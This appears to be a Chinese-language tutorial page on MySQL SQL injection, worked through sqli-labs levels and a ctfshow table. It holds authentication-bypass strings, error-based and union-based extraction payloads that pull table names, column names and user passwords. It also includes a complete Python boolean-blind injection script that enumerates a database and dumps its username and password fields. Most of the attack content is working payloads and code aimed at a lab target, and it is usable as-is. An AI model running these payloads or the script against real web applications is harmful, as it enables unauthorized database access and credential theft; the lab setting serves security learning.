version()\u2014\u2014MySQL \u7248\u672c user()\u2014\u2014\u6570\u636e\u5e93\u7528\u6237\u540d database()\u2014\u2014\u6570\u636e\u5e93\u540d @@datadir\u2014\u2014\u6570\u636e\u5e93\u8def\u5f84 @@version_compile_os\u2014\u2014\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c<\/p>\n\n\n\n
1.concat(str1,str2,\u2026)\u2014\u2014\u6ca1\u6709\u5206\u9694\u7b26\u5730\u8fde\u63a5\u5b57\u7b26\u4e32 2.concat_ws(separator,str1,str2,\u2026)\u2014\u2014\u542b\u6709\u5206\u9694\u7b26\u5730\u8fde\u63a5\u5b57\u7b26\u4e32 3.group_concat(str1,str2,\u2026)\u2014\u2014\u8fde\u63a5\u4e00\u4e2a\u7ec4\u7684\u6240\u6709\u5b57\u7b26\u4e32\uff0c\u5e76\u4ee5\u9017\u53f7\u5206\u9694\u6bcf\u4e00\u6761\u6570\u636e \u8bf4\u7740\u6bd4\u8f83\u62bd\u8c61\uff0c\u5176\u5b9e\u4e5f\u5e76\u4e0d\u9700\u8981\u8be6\u7ec6\u4e86\u89e3\uff0c\u77e5\u9053\u8fd9\u4e09\u4e2a\u51fd\u6570\u80fd\u4e00\u6b21\u6027\u67e5\u51fa\u6240\u6709\u4fe1\u606f\u5c31\u884c\u4e86\u3002<\/p>\n\n\n\n
Length() \/\/\u8fd4\u56de\u5b57\u7b26\u4e32\u7684\u957f\u5ea6 eg:Length(abc) \/\/\u8fd4\u56de3\uff0c\u8868\u793aabc\u5b57\u7b26\u4e32\u957f\u5ea6\u4e3a3<\/p>\n\n\n\n
Substr() \/\/\u622a\u53d6\u5b57\u7b26\u4e32 eg:substr(abc,1,1) \/\/\u8fd4\u56dea,\u4eceabc\u7684\u7b2c\u4e00\u4f4d\u5f00\u59cb\u622a\uff0c\u6b65\u957f\u4e3a1<\/p>\n\n\n\n
mid() \/\/\u53d6\u51fa\u5b57\u7b26\u4e32\u7684\u4e00\u90e8\u5206\u503c eg:mid(abc,1,1) \/\/\u8fd4\u56dea\uff0c\u4ece\u7684\u7b2c\u4e00\u4f4d\u5f00\u53d6\uff0c\u6b65\u957f\u4e3a1\uff0c\u4e0esubstr()\u7528\u6cd5\u4e00\u81f4<\/p>\n\n\n\n
left() \/\/\u53d6\u51fa\u5b57\u7b26\u4e32\u5de6\u8fb9\u7684\u51e0\u4e2a\u6570\u636e eg:left(abc,1) \/\/\u8fd4\u56dea left(abc,2) \/\/\u8fd4\u56deab<\/p>\n\n\n\n
right() \/\/\u53d6\u51fa\u53f3\u8fb9\u7684\u51e0\u4e2a\u6570\u636e eg:right(abc,1) \/\/\u8fd4\u56dec left(abc,2) \/\/\u8fd4\u56debc<\/p>\n\n\n\n
ord()\u4e0eascii() \/\/\u8fd4\u56de\u4e00\u4e2a\u5b57\u7b26\u7684ASCII\u7801\u503c eg:ascii(s) \/\/\u8fd4\u56de114<\/p>\n\n\n\n
hex() \/\/\u8fd4\u56de16\u8fdb\u5236\u6570<\/p>\n\n\n\n
\nor 1=1\u2013+<\/p>\n\n\n\n
‘or 1=1\u2013+<\/p>\n\n\n\n
“or 1=1\u2013+<\/p>\n\n\n\n
)or 1=1\u2013+<\/p>\n\n\n\n
‘)or 1=1\u2013+<\/p>\n\n\n\n
“) or 1=1\u2013+<\/p>\n\n\n\n
“))or 1=1\u2013+<\/p>\n<\/blockquote>\n\n\n\n
union \u64cd\u4f5c\u7b26<\/h3>\n\n\n\n
UNION \u64cd\u4f5c\u7b26\u7528\u4e8e\u5408\u5e76\u4e24\u4e2a\u6216\u591a\u4e2a SELECT \u8bed\u53e5\u7684\u7ed3\u679c\u96c6\u3002\u4f46\u662fUNION \u5185\u90e8\u7684 SELECT \u8bed\u53e5\u5fc5\u987b\u62e5\u6709\u76f8\u540c\u6570\u91cf\u7684\u5217\uff0c\u5217\u4e5f\u5fc5\u987b\u62e5\u6709\u76f8\u4f3c\u7684\u6570\u636e\u7c7b\u578b\u3002\u540c\u65f6\u6bcf\u6761 SELECT \u8bed\u53e5\u4e2d\u7684 \u5217\u7684\u987a\u5e8f\u5fc5\u987b\u76f8\u540c\u3002<\/p>\n\n\n\n
\u5176\u4ed6<\/h3>\n\n\n\n
extractvalue(1,concat(0x7e,(select @@version),0x7e))
--+ mysql \u5bf9 xml \u6570\u636e\u8fdb \u884c\u67e5\u8be2\u548c\u4fee\u6539\u7684 xpath \u51fd\u6570\uff0cxpath \u8bed\u6cd5\u9519\u8bef
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
--+ mysql \u5bf9 xml \u6570\u636e\u8fdb\u884c \u67e5\u8be2\u548c\u4fee\u6539\u7684 xpath \u51fd\u6570\uff0cxpath \u8bed\u6cd5\u9519\u8bef
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
--+ mysql \u91cd\u590d\u7279\u6027\uff0c\u6b64\u5904\u91cd\u590d\u4e86 version\uff0c\u6240\u4ee5\u62a5\u9519
select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x<\/pre>\n\n\n\n\u5b57\u7b26\u578b\u6ce8\u5165<\/h2>\n\n\n\n
sqli-labs \u7b2c\u4e00\u5173<\/p>\n\n\n\n
\u624b\u5de5\u6ce8\u5165<\/p>\n\n\n\n
\n
- \u5224\u65ad\u6ce8\u5165\u70b91′ or 1=1 –+\u6b63\u5e38\u56de\u663e\u5b58\u5728\u6ce8\u5165\u70b9<\/li>\n\n\n\n
- \u83b7\u53d6\u5b57\u6bb5\u65701 order by 1,2,3 –+\u4e00\u4e2a\u4e2a\u5c1d\u8bd5\uff0c\u76f4\u5230\u62a5\u9519\u7684\u524d\u4e00\u4e2a\u4e3a\u5b58\u5728\u5b57\u6bb5\u6570<\/li>\n\n\n\n
- \u8054\u5408\u6ce8\u5165<\/li>\n\n\n\n
- <\/li>\n<\/ul>\n\n\n\n
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+<\/code><\/pre>\n\n\n\n\u67e5\u8be2\u8868\u540d<\/p>\n\n\n\n
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+<\/code><\/pre>\n\n\n\n\u67e5\u8be2\u5217\u540d<\/p>\n\n\n\n
-1'union select id,username,password from ctfshow_user --+<\/code><\/pre>\n\n\n\n\u67e5\u8be2flag<\/p>\n\n\n\n
\u6570\u5b57\u578b\u6ce8\u5165<\/h2>\n\n\n\n
sqli-labs \u7b2c\u4e8c\u5173<\/p>\n\n\n\n
\u624b\u5de5\u6ce8\u5165<\/p>\n\n\n\n
\u6570\u5b57\u578b\u6ce8\u5165\u6570\u5b57\u540e\u4e0d\u8ddf\u5355\u5f15\u53f7’<\/p>\n\n\n\n
\n
- \u5224\u65ad\u6ce8\u5165\u70b91 or 1=1 –+\u6b63\u5e38\u56de\u663e\u5b58\u5728\u6ce8\u5165\u70b9<\/li>\n\n\n\n
- \u83b7\u53d6\u5b57\u6bb5\u65701 order by 1,2,3 –+\u4e00\u4e2a\u4e2a\u5c1d\u8bd5\uff0c\u76f4\u5230\u62a5\u9519\u7684\u524d\u4e00\u4e2a\u4e3a\u5b58\u5728\u5b57\u6bb5\u6570<\/li>\n\n\n\n
- \u8054\u5408\u6ce8\u5165<\/li>\n<\/ul>\n\n\n\n
\n
- <\/li>\n<\/ul>\n\n\n\n
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+<\/code><\/pre>\n\n\n\n\u67e5\u8be2\u8868\u540d<\/p>\n\n\n\n
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+<\/code><\/pre>\n\n\n\n\u67e5\u8be2\u5217\u540d<\/p>\n\n\n\n
-1 union select id,username,password from ctfshow_user --+<\/code><\/pre>\n\n\n\n\u67e5\u8be2flag<\/p>\n\n\n\n
\u5e03\u5c14\u76f2\u6ce8<\/h2>\n\n\n\n
\n\u5e03\u5c14\u578b\u76f2\u6ce8\u662f\u7531\u4e8e\u9875\u9762\u63d0\u4ea4\u6570\u636e\u5728\u4e0e\u6570\u636e\u4ea4\u4e92\u662f\u5b8c\u5168\u6ca1\u6709\u5728\u9875\u9762\u4e0a\u51fa\u73b0\u56de\u663e\u6570\u636e\uff0c\u53ea\u4f1a\u51fa\u73b0\u6570\u636e\u63d0\u4ea4\u6b63\u786e\u548c\u9519\u8bef\u4fe9\u79cd\u4e0d\u540c\u9875\u9762\uff08\u62a5\u9519\u578b\u81f3\u5c11\u8bed\u6cd5\u9519\u8bef\u4f1a\u56de\u663e\u9519\u8bef\u5728\u9875\u9762\u4e0a\uff09\u6216\u8005\u65e0\u6cd5\u4f7f\u7528\u8054\u5408\u67e5\u8be2\u3002<\/p>\n<\/blockquote>\n\n\n\n
\u811a\u672c GET\u65b9\u5f0f<\/h3>\n\n\n\n
\n
- \u5224\u65ad\u6ce8\u5165\u65b9\u5f0f\uff08\u5355\u5f15\u53f7\u6216\u53cc\u5f15\u53f7\uff09?id=1′ and (length(database()))>1 –+<\/li>\n\n\n\n
- \u6839\u636e\u9875\u9762\u56de\u663e\u4fee\u6539payload\uff0c\u6839\u636e\u9875\u9762\u56de\u663e\u6539word\u4e3a’You are in…..’<\/li>\n\n\n\n
- \u7528\u811a\u672c\u8dd1<\/li>\n<\/ul>\n\n\n\n
# -*- coding:utf-8 -*-
# Author: mochu7
import requests
\u200b
\u200b
def ascii_str(): # \u751f\u6210\u5e93\u540d\u8868\u540d\u5b57\u7b26\u6240\u5728\u7684\u5b57\u7b26\u5217\u8868\u5b57\u5178
str_list = []
for i in range(33, 127): # \u6240\u6709\u53ef\u663e\u793a\u5b57\u7b26
str_list.append(chr(i))
# print('\u53ef\u663e\u793a\u5b57\u7b26\uff1a%s'%str_list)
return str_list # \u8fd4\u56de\u5b57\u7b26\u5217\u8868
\u200b
\u200b
def db_length(url, str):
print(\"[-]\u5f00\u59cb\u6d4b\u8bd5\u6570\u636e\u5e93\u540d\u957f\u5ea6.......\")
num = 1
while True:
db_payload = url + \"' and (length(database())=%d)--+\" % num
r = requests.get(db_payload)
if str in r.text:
db_length = num
print(\"[+]\u6570\u636e\u5e93\u957f\u5ea6\uff1a%d\\n\" % db_length)
db_name(db_length) # \u8fdb\u884c\u4e0b\u4e00\u6b65\uff0c\u6d4b\u8bd5\u5e93\u540d
break
else:
num += 1
\u200b
\u200b
def db_name(db_length):
print(\"[-]\u5f00\u59cb\u6d4b\u8bd5\u6570\u636e\u5e93\u540d.......\")
db_name = ''
str_list = ascii_str()
for i in range(1, db_length + 1):
for j in str_list:
db_payload = url + \"' and (ord(mid(database(),%d,1))='%s')--+\" % (i, ord(j))
r = requests.get(db_payload)
if str in r.text:
db_name += j
break
print(\"[+]\u6570\u636e\u5e93\u540d\uff1a%s\\n\" % db_name)
tb_piece(db_name) # \u8fdb\u884c\u4e0b\u4e00\u6b65\uff0c\u6d4b\u8bd5security\u6570\u636e\u5e93\u6709\u51e0\u5f20\u8868
return db_name
\u200b
\u200b
def tb_piece(db_name):
print(\"\u5f00\u59cb\u6d4b\u8bd5%s\u6570\u636e\u5e93\u6709\u51e0\u5f20\u8868........\" % db_name)
for i in range(100): # \u731c\u89e3\u5e93\u4e2d\u6709\u591a\u5c11\u5f20\u8868\uff0c\u5408\u7406\u8303\u56f4\u5373\u53ef
tb_payload = url + \"' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+\" % (
i, db_name)
r = requests.get(tb_payload)
if str in r.text:
tb_piece = i
break
print(\"[+]%s\u5e93\u4e00\u5171\u6709%d\u5f20\u8868\\n\" % (db_name, tb_piece))
tb_name(db_name, tb_piece) # \u8fdb\u884c\u4e0b\u4e00\u6b65\uff0c\u731c\u89e3\u8868\u540d
\u200b
\u200b
def tb_name(db_name, tb_piece):
print(\"[-]\u5f00\u59cb\u731c\u89e3\u8868\u540d.......\")
table_list = []
for i in range(tb_piece):
str_list = ascii_str()
tb_length = 0
tb_name = ''
for j in range(1, 20): # \u8868\u540d\u957f\u5ea6\uff0c\u5408\u7406\u8303\u56f4\u5373\u53ef
tb_payload = url + \"' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+\" % (
i, j)
r = requests.get(tb_payload)
if str in r.text:
tb_length = j
print(\"\u7b2c%d\u5f20\u8868\u540d\u957f\u5ea6\uff1a%s\" % (i + 1, tb_length))
for k in range(1, tb_length + 1): # \u6839\u636e\u8868\u540d\u957f\u5ea6\u8fdb\u884c\u622a\u53d6\u5bf9\u6bd4
for l in str_list:
tb_payload = url + \"' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+\" % (
i, k, ord(l))
r = requests.get(tb_payload)
if str in r.text:
tb_name += l
print(\"[+]\uff1a%s\" % tb_name)
table_list.append(tb_name)
break
print(\"\\n[+]%s\u5e93\u4e0b\u7684%s\u5f20\u8868\uff1a%s\\n\" % (db_name, tb_piece, table_list))
column_num(table_list, db_name) # \u8fdb\u884c\u4e0b\u4e00\u6b65\uff0c\u731c\u89e3\u6bcf\u5f20\u8868\u7684\u5b57\u6bb5\u6570
\u200b
\u200b
def column_num(table_list, db_name):
print(\"[-]\u5f00\u59cb\u731c\u89e3\u6bcf\u5f20\u8868\u7684\u5b57\u6bb5\u6570\uff1a.......\")
column_num_list = []
for i in table_list:
for j in range(30): # \u6bcf\u5f20\u8868\u7684\u5b57\u6bb5\u6570\u91cf\uff0c\u5408\u7406\u8303\u56f4\u5373\u53ef
column_payload = url + \"' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+\" % (
j, i)
r = requests.get(column_payload)
if str in r.text:
column_num = j
column_num_list.append(column_num) # \u628a\u6240\u6709\u8868\u7684\u5b57\u6bb5\uff0c\u4f9d\u6b21\u653e\u5165\u8fd9\u4e2a\u5217\u8868\u5f53\u4e2d
print(\"[+]%s\u8868\\t%s\u4e2a\u5b57\u6bb5\" % (i, column_num))
break
print(\"\\n[+]\u8868\u5bf9\u5e94\u7684\u5b57\u6bb5\u6570\uff1a%s\\n\" % column_num_list)
column_name(table_list, column_num_list, db_name) # \u8fdb\u884c\u4e0b\u4e00\u6b65\uff0c\u731c\u89e3\u6bcf\u5f20\u8868\u7684\u5b57\u6bb5\u540d
\u200b
\u200b
def column_name(table_list, column_num_list, db_name):
print(\"[-]\u5f00\u59cb\u731c\u89e3\u6bcf\u5f20\u8868\u7684\u5b57\u6bb5\u540d.......\")
column_length = []
str_list = ascii_str()
column_name_list = []
for t in range(len(table_list)): # t\u5728\u8fd9\u91cc\u4ee3\u8868\u6bcf\u5f20\u8868\u7684\u5217\u8868\u7d22\u5f15\u4f4d\u7f6e
print(\"\\n[+]%s\u8868\u7684\u5b57\u6bb5\uff1a\" % table_list[t])
for i in range(column_num_list[t]): # i\u8868\u793a\u6bcf\u5f20\u8868\u7684\u5b57\u6bb5\u6570\u91cf
column_name = ''
for j in range(1, 21): # j\u8868\u793a\u6bcf\u4e2a\u5b57\u6bb5\u7684\u957f\u5ea6
column_name_length = url + \"' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+\" % (
j - 1, table_list[t], i)
r = requests.get(column_name_length)
if str in r.text:
column_length.append(j)
break
for k in str_list: # k\u8868\u793a\u6211\u4eec\u731c\u89e3\u7684\u5b57\u7b26\u5b57\u5178
column_payload = url + \"' and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+\" % (
table_list[t], i, j, ord(k))
r = requests.get(column_payload)
if str in r.text:
column_name += k
print('[+]\uff1a%s' % column_name)
column_name_list.append(column_name)
# print(column_name_list)#\u8f93\u51fa\u6240\u6709\u8868\u4e2d\u7684\u5b57\u6bb5\u540d\u5230\u4e00\u4e2a\u5217\u8868\u4e2d
dump_data(table_list, column_name_list, db_name) # \u8fdb\u884c\u6700\u540e\u4e00\u6b65\uff0c\u8f93\u51fa\u6307\u5b9a\u5b57\u6bb5\u7684\u6570\u636e
\u200b
\u200b
def dump_data(table_list, column_name_list, db_name):
print(\"\\n[-]\u5bf9%s\u8868\u7684%s\u5b57\u6bb5\u8fdb\u884c\u7206\u7834.......\\n\" % (table_list[3], column_name_list[9:12]))
str_list = ascii_str()
for i in column_name_list[9:12]: # id,username,password\u5b57\u6bb5
for j in range(101): # j\u8868\u793a\u6709\u591a\u5c11\u6761\u6570\u636e\uff0c\u5408\u7406\u8303\u56f4\u5373\u53ef
data_num_payload = url + \"' and (select count(%s) from %s.%s)=%d--+\" % (i, db_name, table_list[3], j)
r = requests.get(data_num_payload)
if str in r.text:
data_num = j
break
print(\"\\n[+]%s\u8868\u4e2d\u7684%s\u5b57\u6bb5\u6709\u4ee5\u4e0b%s\u6761\u6570\u636e\uff1a\" % (table_list[3], i, data_num))
for k in range(data_num):
data_len = 0
dump_data = ''
for l in range(1, 21): # l\u8868\u793a\u6bcf\u6761\u6570\u636e\u7684\u957f\u5ea6\uff0c\u5408\u7406\u8303\u56f4\u5373\u53ef
data_len_payload = url + \"' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+\" % (
i, db_name, table_list[3], k, l)
r = requests.get(data_len_payload)
if str not in r.text:
data_len = l - 1
for x in range(1, data_len + 1): # x\u8868\u793a\u6bcf\u6761\u6570\u636e\u7684\u5b9e\u9645\u8303\u56f4\uff0c\u4f5c\u4e3amid\u622a\u53d6\u7684\u8303\u56f4
for y in str_list:
data_payload = url + \"' and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+\" % (
i, db_name, table_list[3], k, x, ord(y))
r = requests.get(data_payload)
if str in r.text:
dump_data += y
break
break
print('[+]%s' % dump_data) # \u8f93\u51fa\u6bcf\u6761\u6570\u636e
\u200b
\u200b
if __name__ == '__main__':
url = \"http:\/\/192.168.184.103\/sqli-labs\/Less-5\/?id=1\" # \u76ee\u6807url
str = \"You are in\" # \u5e03\u5c14\u578b\u76f2\u6ce8\u7684true&false\u7684\u5224\u65ad\u56e0\u7d20
db_length(url, str) # \u7a0b\u5e8f\u5165\u53e3
\u200b<\/pre>\n\n\n\n\n